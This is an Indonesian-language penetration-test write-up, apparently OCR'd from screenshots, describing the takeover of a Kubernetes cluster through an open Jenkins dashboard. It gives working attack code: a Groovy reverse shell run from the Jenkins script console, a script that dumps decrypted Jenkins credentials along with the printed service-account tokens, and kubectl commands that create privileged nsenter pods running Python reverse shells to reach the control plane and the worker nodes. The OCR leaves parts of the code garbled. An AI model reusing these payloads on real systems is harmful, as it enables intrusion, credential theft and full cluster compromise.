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Pada contoh kali ini, saya menulis dokumentasi saat salah satu klien saya meminta saya untuk
melakukan jasa penetration testing pada kubernetesnya yang memiliki security lemah. Sebagai catatan :
ini bukan penetration testing yang dilakukan oleh 1 tim tapi hanya oleh saya sendiri, mohon maaf
sebelumnya jika banyak teknik tidak dilakukan sempurna karena ini hanyalah peretasan oleh 1 orang.
Sekilas tentang Kubernetes

Kubernetes (sering disingkat K8s) adalah sistem orkestrasi open-source yang sangat kuat untuk
mengelola kontainer secara otomatis.

Arsitektur kubernetes biasanya terdiri dari 1 master node sebagai pusat dan beberapa worker node.
Arsitektur ini terdiri dari beberapa komponen :

kube-apiserver: Pintu masuk utama. Semua komunikasi (dari pengguna atau komponen internal)
melewati API ini.

etcd: Penyimpanan data key-value yang sangat andal. Ini adalah "satu-satunya sumber kebenaran" yang
menyimpan seluruh status cluster.

kube-scheduler: Bertugas memantau Pod baru dan memilih Node mana yang paling cocok untuk
menjalankan Pod tersebut berdasarkan sumber daya yang tersedia.

kube-controller-manager: Menjalankan proses latar belakang untuk menjaga status cluster tetap stabil
(misalnya, jika ada Node yang mati, ia akan mencoba menghidupkan kembali Pod di Node lain).

Kubelet: Agen yang berjalan di setiap Node. la memastikan bahwa kontainer yang seharusnya berjalan
di sana benar-benar sehat dan berfungsi.

Container Runtime: Perangkat lunak yang menjalankan kontainer (paling populer adalah containerd
atau CRI-0).

Pod: Unit terkecil di Kubernetes. Pod membungkus satu atau lebih kontainer.


https://github.com/bluedragonsecurity
https://www.bluedragonsec.com/

Pada contoh ini klien memberikan alamat ip address internal salah satu nodenya yaitu node 2 dengan ip
192.168.0.2

Langkah 1. Initial Access

Berdasarkan hasil scan port ditemukan port terbuka 30080 di ip 192.168.0.2, setelah dicek ternyata ini
adalah dashboard jenkins yang tidak dipassword :

v | ® Dashboard - Jenkins x| +

< c ® 192.168.0.2:3008C

o
H
@ Jenkins Q @ signin
+ Newltem @ Add description
B Build History
All
Build Queue b
s w Name & Last Success Last Failure Last Duration
No builds in the queue.
® deploy-terra-cloud-backend Thr %253 Thr #252 47 min >
Build Executor Status 02 v
® test 9hr8min  #3 N/A 9.4 sec >
Cloud Statistics hd
® test-02 Tmo3days  #209 22hr #285 9 min 15 sec >
[ s ML

Untuk masuk ke dalam container jenkins ini sangat mudah, bisa menggunakan script console :

http://192.168.0.2:30080/manage/script

Selanjutnya kita isikan dengan script groovy untuk melakukan reverse shell ke ip kita :

String host="192.168.0.10";
int port=2000;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
while(pi.available()>0)so.write(pi.read());
while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);


http://192.168.0.2:30080/manage/script

try {p.exitValue();break;} catch (Exception e){}
5
p.destroy();
s.close();

Ok sebelum mengeksekusi script console di jenkins, saya menyiapkan netcat listener di port 2000
nc -1 -p 2000 -v
Setelah menjalankan script groovy di script console, saya berhasil mendapatkan reverse shell :

sh-5.1# nc -1 -p 2000 -v
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::2000

Ncat: Listening on 0.0.0.0:2000
: Connection from
cat: Connection from

uid=0(root) gid=0(root) groups=0(root)
ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START  TIME COMMAND

root 1 0.0 0.0 2580 1280 ? Ss 11:29 @0:00 /usr/bin/tini — /usr/local/bin/jenkins.sh —httpPort=9090
root 16 0.0 0.0 756 488 7 5 11:29 0:00 /usr/bin/dockerd

root 17 1.4 7.7 6836272 919460 ? 1 11:29 8:09 java r.home=/var/jenkins_home -Djenkins.install.runSet
Asia/Shanghai -Djenkins.model.Jenkins.slaveAgentPort=50000 -Dhudson.lifecycle=hudson.lifecycle.ExitlLifecycle -jar /usr/share/j
9090

1 11:29 968:44 /usr/bin/dockerd

root 60 2 3 408576 ? S

3 ? S 12:42 0:00 /bin/bash
5
R

root 814
root 3616
root 3619

20:51 0:00 /bin/bash
20:51 0:00 ps aux

Terlihat di sini kita mendapatkan akses sebagai root tapi berada di dalam lingkungan container. Tapi
yang terhubung adalah ip dari node ke empat (192.168.0.4)

Langkah 2. Container Escape

Langkah selanjutnya adalah keluar dari container. Uji coba pertama saya menguji apakah ada
docker.sock :

Is -1a /var/run/docker.sock
Is: cannot access '/var/run/docker.sock’: No such file or directory

Ternyata tidak ada, yang menandakan ini adalah kubernetes modern.
Selanjutnya :

cat /proc/net/unix | grep docker

0000000000000000: 00000002 00000000 00010000 0001 01 12336 /var/run/docker/metrics.sock
0000000000000000: 00000002 00000000 00010000 0001 01 8564 /run/docker.sock
0000000000000000: 00000002 00000000 00010000 0001 01 13348
/var/run/docker/libnetwork/ee2ae38b2a4c.sock

0000000000000000: 00000003 00000000 00000000 0001 03 1197798 /run/docker.sock
0000000000000000: 00000003 00000000 00000000 0001 03 1197811 /run/docker.sock



0000000000000000: 00000003 00000000 00000000 0001 03 868647 /run/docker.sock

Tapi ternyata tidak ada :

Is /run/docker.sock
Is: cannot access '/run/docker.sock’: No such file or directory

Uji coba dengan nsenter sudah dilakukan tapi gagal.

Sebenarnya selanjutnya bisa mengecek mount di dalam container ini, tapi saya ingin mencoba dulu
untuk mendapatkan data credential dari jenkins dengan plugin cloudbees , masukkan ke script console :

def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class,
jenkins.model.Jenkins.instance,
null,
null

)

for (c in creds) {
if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl) {

println "ID: ${c.id} | User: ${c.username} | Pass: ${c.password.plainText}"

} else if (c instanceof org.jenkinsci.plugins.plaincredentials.impl.StringCredentialsImpl) {

println "ID: ${c.id} | Secret String: ${c.secret.plainText}"

} else if (c instanceof com.cloudbees.plugins.credentials.impl.CertificateCredentialsImpl) {

}

println "ID: ${c.id} | Certificate Password: ${c.password.plainText}"

Hasilnya :

lenkins

.
Manage Jenkins = Script Console Q @

Result

--- Daftar Kredensial Terdekripsi ---

ID: 1 | User: 18583968986 | Pass: -

ID: 2 | Secret String:
eyJhbGci0iJSUzIINIiIsImtpZCI6IMRTTUEYTOITTLF jaGNOOGL fMmxqRmMNGNmIMUkVwZFImWkpsN1FLYO43NDgifQ. eylpc3Mioidrdw]llem51dGyzL3NlcnZpY2VhY2NvdW50Iiwia3viZXJuZXRlcy5E
uYW1lc3BhY2Ui0iJrdwIlem51dGVzLWRhc2hib2FyZCIsImt 1YmVybmVOZXMuaW8vc2Vydml j ZWFjY291bnQvc2VjcmvoLmShbWUi01IhZ61pbillc2VyTiwia3ViZXJuZXRlcy5pby9zZXI2aWN1YWN]jb3
nQuUbmFtZSI6IMFKbWLULXVZZXTiLCIrdWIlem51dGYzLmlvL3NTlenZpY2VhY2NvdWSEL3N1enZpY2UtYWNjb3VudC51aWQi0iJkNjBIN2QzNi1mY2QzLTQxZTELOGY INCImZmY 1YWVhNZgwMDAILCIZdWI1
j¥291bnQ6a3vizXJuZXRlcylkYXNoYmShcmQ6YWRtaw4tdXN1cil9. FkLhTRiAmQDjNPzhRC3VQOTEdXiFqQXByQ5AYf7DoVobiXn@YOqKm3I9WWrvyV5eSCwBgNtZ CU1450jkH1Mx18ECKo1hsDsadKDL
po8mm7cP6KibrPnVOHALVP6 cLBRLWGOK206bVRAEQESS tWArAdIG-

GdoOWMZIV74HVBW PKkmIHXIwFg9msxtK0zw7znCEMCYIB5]Qs L6PbGYPRZcdVN3amYw64eFYZTLYMBORUVIec517SZLgSF -68QWurgDRjiv46ZHZnr7LZIoBidztCuV5eKF8fUQPTPNZWs 1 -0L0OgrHUKRD
ID: kube-terra-admin-sa | Secret String:
eyJhbGci0iJSUzIINIiIsImtpZCI6IMRTTUEYTOITTLF jaGNOOGL fMmxqRmMNGNmIMUkVwZFImWkpsN1FLYO43NDgifQ. eylpc3Mioidrdw]llem51dGyzL3NlcnZpY2VhY2NvdW50Iiwia3viZXJuZXRlcy5E
uYW1lc3BhY2Ui0iJrdwllem51dGVzLWRhc2hib2FyZCIsImt 1YmVybmVeZXxMuaW8ve2VydmljZWFjY291bnQvc2VjcmVOLmShbwUi0ilhZ61lpbillc2VyIiwia3VizZXJuZXRlcy5pby9zZX12aWNLYWNjb3
nQuUbmFtZSI6IMFKbWLULXVZZXTiLCIrdWIlem51dGYzLmlvL3NTlenZpY2VhY2NvdWSEL3N1enZpY2UtYWNjb3VudC51aWQi0iJkNjBIN2QzNi1mY2QzLTQxZTELOGY INCImZmY 1YWVhNZgwMDAILCIZdWI1
j¥291bnQ6a3vizXJuZXRlcylkYXNoYmShcmQ6YWRtaw4tdXN1cil9. FkLhTRiAmQDjNPzhRC3VQOTEdXiFqQXByQ5AYf7DoVobiXn@YOqKm3I9WWrvyV5eSCwBgNtZ CU1450jkH1Mx18ECKo1hsDsadKDL
po8mm7cP6KibrPnVOHALVP6 cLBRLWGOK206bVRAEQESS tWArAdIG-

GdoOWMZIV74HVBW PKkmIHXIwFg9msxtK0zw7znCEMCYIB5]Qs L6PbGYPRZedVN3amYw64eFYZTLYMBORUVIec517SZLgSF -68QWurgDRjiv46ZHZnr7LZIoBidztCuV5eKF8fUQPTPNZWs 1 -0L0OgrHUKRD
ID: git-user-password | User: 18583968986 | Pass: H

-- Selesai ---



Ada 2 informasi yang menarik, ada kemungkinan token untuk kubectl, ini kita simpan dulu. Ada
password yang terdekrip, kemungkinan ini adalah password ssh ke node 4 dengan ip 192.168.0.4.

Selanjutnya tinggal dicoba akses sshnya dan berhasil masuk :

rootaterra-node-04:~# hostname

terra-node-04

rootaterra-node-04:~# uname -a

Linux terra-node-04 6.8.0-87-generic #88-Ubuntu SMP PREEMPT_DYNAMIC Sat O
rootdterra-node-04:~# [

Ok kita berhasil escape dari container ke server asli melalui ssh

Langkah 3. Melihat Contoller Node dan Worker Node Kubernetes

Untuk melihat seluruh node, kita menggunakan kubectl :
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes

rootdterra-node-04:~# kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes
NAME STATUS ROLES AGE VERSION

terra-node-01 Ready control-plane 118d vi.28.
terra-node-02 R worker 65d v1.28.
terra-node-03 Ready worker 72d v1l.28.
terra-node-04 Ready worker 5d6h vl.28.
root@terra-node-04:~# [

2
y)
2
2

Ok sekarang kita sudah berada di node 4, langkah selanjutnya adalah mencoba lateral movement ke
node 1, node 2 dan node 3 dengan tujuan utama vertical movement ke node 1 !!!

Rincian jaringan :

terra-node-01 : 192.168.0.1 merupakan node control plane
terra-node-02 : 192.168.0.2 merupakan node worker
terra-node-03 : 192.168.0.3 merupakan node worker
terra-node-04 : 192.168.0.4 merupakan node worker

Di setiap node saya sudah mencoba menggunakan password ssh root yang sama dengan node ke 4 tapi
tidak bisa login. Jadi kita akan gunakan cara lain.



Langkah 4. Langsung Vertical Movement ke Control Plane

Ok selanjutnya kita akan membuat suatu pod menggunakan kunci masuk yang tadi kita simpan yaitu
token kube-terra-admin-sa

Dari node 4 ini , tinggal menjalankan kubectl dengan token yang tadi kita simpan, pertama tama
siapkan netcat listener di port 2000 di 192.168.0.10:

nc -1 -p 2000 -v

Lalu dari node 04 kita jalankan kubectl dengan token yang tadi kita simpan :

kubectl —server=https://192.168.0.1:6443 --
token="eyJhbGciOiJSUzI1INilsImtpZCI6ImRTTUEyYyT0JTT1FjaGN0OG1fMmxgRmNGNm9m
UkVWZFJImWkpsNIFLV043NDgifQ.eyJpc3MiOiJrdWJlcm51dGVzL3NlenZpY2VhY2NvdW50Ii
wia3ViZXJuZ XRlcy5pby9zZXJ2aWNIYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlcm51dGVzZLW
Rhc2hib2FyZ CIsimt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmVOLm5hbWUi
0iJhZG1pbillc2Vyliwia3ViZXJuZXRlcy5pby9zZXJ2aWNIYWNjb3VudC9zZXJ2aWNILWFjY
291bnQubmFtZSI6ImFkbWIuLXVzZXTiLCJrdWJlcm51dGVzLmlIvL3NlcnZpY2VhY2NvdW50
L3NIecnZpY2UtYWNjb3VudC51aWQiOiJKkNjBIN2QzNilmY2QzLTQxZTEtOGVINCImZmY1Y
WVhNzgwMDAILCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6a3ViZXJuZXRIcylkYXN
o0Ym9hcmQ6YWRtaW4tdXNlciJ9.FkIhTRiAmgDjNPzhRC3VQOtEdXiFqQXByQ5AYf7Do Vobi
Xn0Y0gKm3J9WWrVyV5eSCwBgNtZ_CU14s0jkH1Mx18ECKo1hSDsadKDLwITXiAglhp1lebt
xQaNJynPupo8mm7cP6KibrPnVOHAIVP6_cL8RLwgOK206bVRAEQEsstWArAdIG-
GdoOWMZI9V74HVBw_PkmIHXIwFgImsxtKOzw7znCEMCY JB5JQsl6PbGyPRZcdVN3amY
w64eFYZTLYM89RUVJec517SZLgSF_-68QWurgDRjiv4d6ZHZnr7LZI10BidztCuV5eKF8fUQPT
PnzWsl-0LOqrHUKRDbywC4Yk9w" --insecure-skip-tls-verify run pwn-master --restart=Never
-it --image=alpine --overrides='
{
"spec": {

"nodeName": "terra-node-01",

"hostPID": true,

"containers": [

{

"name": "pwn",

"image": "alpine",

"command": ["nsenter", "--target", "1", "--mount”, "--uts", "
"/bin/bash", "-c", "python3 -c \"import
socket,os,pty;s=socket.socket(socket. AF_INET,socket. SOCK_STREAM);s.connect((\\
\"192.168.0.10\\
\",2000));0s.dup2(s.fileno(),0);0s.dup2(s.fileno(),1); 0s.dup?2(s.fileno(),2); pty.spawn(\\\" /bin/bash\\
")\,

"securityContext": {

"privileged": true

}

}

--ipc", "--net", "--",



]
}
}!

Perintah pembuatan pod di atas akan menjalankan reverse shell di node control plane (node 01 ) ke ip
192.168.0.10

Hasilnya :

robohax@robohax-20bws2ng00:
Session Actions Edit View Help

root@robohax-20bws2ng00: ~ robohax@robohax-20bws2ng00: ~ & robohax@robohax-20bws2ng00: ~ B

rootasyncrumweb:~# nc -1 -p 2000 -v

Listening on 0.0.0.0 20
Connection received on 5002
groups: cannot find name g D 11

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

rootdterra-node-01:/# id

id

uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp)
rootdterra-node-01:/# uname -a

uname -a

Linux terra-node-01 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:5
rootaterra-node-01:/# [

Ok game over ! Control plane node sudah berhasil kita kuasai !

Selanjutnya untuk lateral movement ke node 2 dan node 3 hanyalah permainan anak anak yang sangat
mudah



rootdterra-node-04:~# kubectl --server=https:/ B —token="eyJhbGci0iJSUzIINiIsImtpZCI6IMRTTUEY

43NDgifQ.eyJpc3MiOilrdWIlem51dGVzL3NLenZpY2VhY2ZNvaW W1 1ZXJuZXR1lcy5pby9zZXJ2aWNLYWNjb3VudCOuYW1lc3BhY2Ui0i]
aWB8vc2VydmljZWFjY291bnQvc2VjicmVOLm5hbWUi0iJhZG1lpbillc2VyIliwia3ViZXJuZXRlcy5pby9zZXJ2aWNLYWNjb3VudCozZXI2aWNTLWFj
GVzLmlvL3NLlcnZpY2VhY2NvdW50L3N1lcnZpY2UtYWNjb3VudC51aWQi0iJkNjBLN2QzNiimY2QzLTQxZTELOGYLNCImZmY 1YWVhNzgwMDAiLCzd
RlcylkYXNoYm9hecmQ6YWRtaWstdXNlcil9.Fk1lhTRiAmgDjNPzhRC3VQOtEdXiFqQXByQ5AYf7DoVobiXn@Y@qKm3 J9WWrVyV5eSCwBgNtZ_CU1

Pupo8mm7cP6KibrPnVOHATVP6_cL8RLwg0OK206bVRAEQESstWArAdIG-GdoOWMZ9V74HVBw_PkmIHXIwFg9msxtKOzw7znCEMCYJIB5JQs16PbGyH
rgDRjiv46ZHZnr7LZToBidztCuV5eKF8FfUQPTPnzWs1-0LOgqrHUKkRDbywC4Yk9w" —-insecure-skip-tls-verify run wisdom2-pod --re

EsnpE sty
"nodeName”: "terra-node-02",
"hostPID": true,
"contalners”: [

"name": "pwn",

"image": "alpine”,

"command”: [“"nsenter”, "--target”, "1", "--mo L— S ipc”, "--net", "--", "/bin/bash”, "-c", "
cket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\u\\",2@@@));os.dup2(s.Fileno(),@);os.dup?(
(\\\"/bin/bash\\\")\""1,

"securityContext": {
"privileged”: true

error: Unable to use a TTY - container pwn did not allocate one
If you don't see a command prompt, try pressing enter.

root@robohax-20bws2ng00: ~ H robohax@robohax-20bws2ng00: ~ robohax@robohax-20b

rootasyncrumweb:~#% nc -1 -p 2000 -v

Listening on 0.0.0.0 20Q

Connection received on 49532

groups: cannot find nam 11

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo _root" for details.

rootaterra-node-02:/# 1id

id

uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(q
rootaterra-node-02:/# uname -a

uname -a

Linux terra-node-02 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat
rootdterra-node-02:/# |




root@syncrumweb:~# nc -1 -p 2000 -v

Listening on 0.0.0.0 2000
Connection received or 51778
groups: cannot find namesror eroup 10 11

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

rootaterra-node-03:/# id

id

uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(
rootaterra-node-03:/# uname -a

uname -a

Linux terra-node-03 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 0
rootdterra-node-03:/# |}

Dengan ini seluruh node di dalam jaringan kubernetes ini sudah berhasil saya take over, selanjutnya
tinggal membuat laporan hasil pentest.

Terima kasih



